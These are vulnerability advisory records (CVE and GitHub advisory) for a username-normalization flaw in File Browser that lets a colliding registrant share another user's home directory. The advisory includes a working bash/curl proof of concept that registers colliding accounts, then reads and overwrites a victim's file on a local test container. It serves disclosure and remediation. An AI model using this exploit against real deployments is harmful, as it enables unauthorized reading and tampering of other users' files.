{
  "affected": [
    {
      "affectedData": [
        {
          "product": "filebrowser",
          "vendor": "filebrowser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.63.17"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, File Browser builds new user scopes from usernames passed through cleanUsername() when Signup=true and CreateUserDir=true, but the many-to-one normalization can collapse usernames such as team/one, team one, and team-one to the same home directory without checking whether the resulting scope is already taken, allowing a second registrant to gain full read and write access to another user\u0027s files. This issue is fixed in version 2.63.17."
    }
  ],
  "id": "CVE-2026-62685",
  "lastModified": "2026-07-20T16:17:06.420",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-62685",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T14:51:43.918375Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T16:16:51.783",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/commit/883a36f02fcb69566a8628cb47f18fdc73348387"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7rc3-g7h6-22m7"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7rc3-g7h6-22m7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-647"
        },
        {
          "lang": "en",
          "value": "CWE-706"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.63.16"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-647",
      "CWE-706"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:19:10Z",
    "nvd_published_at": "2026-07-15T16:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (`Signup=true` and `CreateUserDir=true`), a new user\u0027s scope is built from their username after it passes through `cleanUsername()`. That function rewrites the name: it strips `..` and replaces every character outside `0-9A-Za-z@_\\-.` with `-`.\n\nThe problem is that this rewrite is **many-to-one**: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So `team/one`, `team one`, and `team-one` all collapse to the same directory name, and whoever registers second is handed the **same home directory** as the first user instead of an isolated one.\n\nThis breaks per-user isolation. An attacker can pick a username that normalizes onto a victim\u0027s directory (for example registering `alice/` or `al..ice` to land in `alice`\u0027s home) and gain full read **and** write access to that victim\u0027s files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.\n\n## Details\n\n**1. The home directory is built straight from the cleaned username (`settings/dir.go:30`)**\n\n```go\n// MakeUserDir, when CreateUserDir is true:\nusername = cleanUsername(username)\n// ...\nuserScope = path.Join(s.UserHomeBasePath, username)   // line 30\nuserScope = path.Join(\"/\", userScope)                 // line 33\n```\n\nThe user\u0027s scope is `path.Join(UserHomeBasePath, cleanUsername(username))`.\n\n**2. `cleanUsername` collapses distinct inputs to the same output (`settings/dir.go:42-52`)**\n\n```go\nfunc cleanUsername(s string) string {\n    s = strings.Trim(s, \" \")\n    s = strings.ReplaceAll(s, \"..\", \"\")                       // line 45, deletes \"..\"\n    s = invalidFilenameChars.ReplaceAllString(s, \"-\")         // line 48, any non [0-9A-Za-z@_.-] -\u003e \"-\"\n    s = dashes.ReplaceAllString(s, \"-\")                       // line 51, collapse repeated \"-\"\n    return s\n}\n```\n\nBecause several characters all map to `-` (and `..` is simply deleted), many different usernames produce the same output: `team/one`, `team one`, `team:one`, and `team-one` all become `team-one`, and `a..b` becomes `ab`. Usernames that are unique on their own end up pointing at one shared directory name.\n\n**3. No scope-uniqueness check exists**\n\nUsername uniqueness is enforced on the raw `username` (Storm `id`), but nothing enforces uniqueness of the derived `Scope`. `signupHandler` writes the colliding scope back to the user (`http/auth.go:198-203`) and saves the account; the second registrant simply reuses the first registrant\u0027s home directory (`MakeUserDir` calls `MkdirAll`, which is idempotent).\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15` with `Signup=true` and `CreateUserDir=true` (default `minimumPasswordLength` is 12).\n\n**Attack Vector: register a colliding username and read/overwrite another user\u0027s files:**\n\n```bash\n#1. Create a dir in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 \u0026\u0026 sleep 4\nB=http://localhost:8090; PW=\u0027CollidePw12345!\u0027\n\n#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true\nAP=$(docker logs filebrowser-test 2\u003e\u00261 | grep -o \u0027password: .*\u0027 | awk \u0027{print $2}\u0027)\nAT=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\ncurl -s -H \"X-Auth: $AT\" $B/api/settings \\\n  | python3 -c \"import sys,json;d=json.load(sys.stdin);d[\u0027signup\u0027]=True;d[\u0027createUserDir\u0027]=True;print(json.dumps(d))\" \\\n  | curl -s -X PUT $B/api/settings -H \"X-Auth: $AT\" -H \u0027Content-Type: application/json\u0027 -d @-\n\n#3. Register the victim teamone-x\ncurl -s -X POST $B/api/signup -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)\ncurl -s -X POST $B/api/signup -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#5. Log in as both accounts (TA = victim, TB = attacker)\nTA=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\")\nTB=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n#6. Victim A writes a private file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TA\" --data-binary \u0027A-private-CONFIDENTIAL-data\u0027 -o /dev/null\n\n#7. Attacker B reads A\u0027s file (both resolve to the single shared home directory)\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TB\"\n\n#8. Attacker B overwrites the file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TB\" --data-binary \u0027TAMPERED-BY-B\u0027 -o /dev/null\n\n#9. Victim A reads back the tampered content\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TA\"\n```\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\n```http\nGET  /api/raw/secretA.txt   (as user B, attacker)  -\u003e 200\nA-private-CONFIDENTIAL-data\n\nPOST /api/resources/secretA.txt?override=true  (as user B)  -\u003e 200   (empty body)\n\nGET  /api/raw/secretA.txt   (as user A, victim, reads back)  -\u003e 200\nTAMPERED-BY-B\n\nGET  /api/users   (as admin, both accounts share one scope)  -\u003e 200\n[ ... {\"username\":\"teamone-x\",\"scope\":\"/users/teamone-x\"}, {\"username\":\"teamone/x\",\"scope\":\"/users/teamone-x\"} ... ]\n```\n\nOn disk there is a single shared home directory `/srv/users/teamone-x`.\n\n## Impact\n\n- **Cross-user read:** an attacker registering a colliding username can read every file in a victim\u0027s home directory.\n- **Cross-user write and tamper:** the attacker can overwrite, rename, or delete the victim\u0027s files; the victim transparently sees the tampered content.\n- **Per-user isolation bypass:** the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.\n- **Targeted or opportunistic:** an attacker can deliberately craft a username that collides with a known victim (e.g. registering `alice/`, `alice.`, or `al..ice` to land on `alice`\u0027s directory), or collisions can occur accidentally between legitimate users.\n- **Precondition:** requires the administrator to have enabled both `Signup` and `CreateUserDir`.\n\n## Recommended Fix\n\nMake the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:\n\n```go\n// settings/dir.go, base the home dir on a collision-free identifier:\nuserScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))\n```\n\nAlternatively, in `signupHandler`, after computing the scope, reject the registration if any existing user already owns that scope (`store.Users.GetByScope(scope)` \u21d2 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that `cleanUsername` is never silently lossy.",
  "id": "GHSA-7rc3-g7h6-22m7",
  "modified": "2026-07-20T22:19:10Z",
  "published": "2026-07-20T22:19:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7rc3-g7h6-22m7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62685"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/883a36f02fcb69566a8628cb47f18fdc73348387"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser: Colliding username normalization gives two users the same home directory"
}